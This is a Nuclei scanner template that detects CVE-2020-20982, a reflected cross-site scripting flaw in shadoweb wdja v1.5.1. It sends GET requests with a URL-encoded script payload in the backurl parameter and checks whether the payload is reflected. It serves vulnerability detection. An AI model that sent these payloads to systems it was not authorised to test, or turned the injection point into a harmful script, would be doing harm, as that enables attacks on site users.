nuclei-templates/cves/2020/CVE-2020-20982.yaml

38 lines
1.2 KiB
YAML

id: CVE-2020-20982
info:
name: shadoweb wdja v1.5.1 - Cross-Site Scripting
author: pikpikcu
severity: critical
description: "shadoweb wdja v1.5.1 is susceptible to cross-site scripting because it allows attackers to execute arbitrary code and gain escalated privileges via the backurl parameter to /php/passport/index.php."
reference:
- https://github.com/shadoweb/wdja/issues/1
- https://nvd.nist.gov/vuln/detail/CVE-2020-20982
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
cvss-score: 9.6
cve-id: CVE-2020-20982
cwe-id: CWE-79
tags: cve,cve2020,xss,wdja,shadoweb
requests:
- method: GET
path:
- "{{BaseURL}}/php/passport/index.php?action=manage&mtype=userset&backurl=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
- "{{BaseURL}}/passport/index.php?action=manage&mtype=userset&backurl=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
condition: and
words:
- '</script><script>alert(document.domain)</script>'
- type: word
part: header
words:
- 'text/html'
# Enhanced by mp on 2022/04/27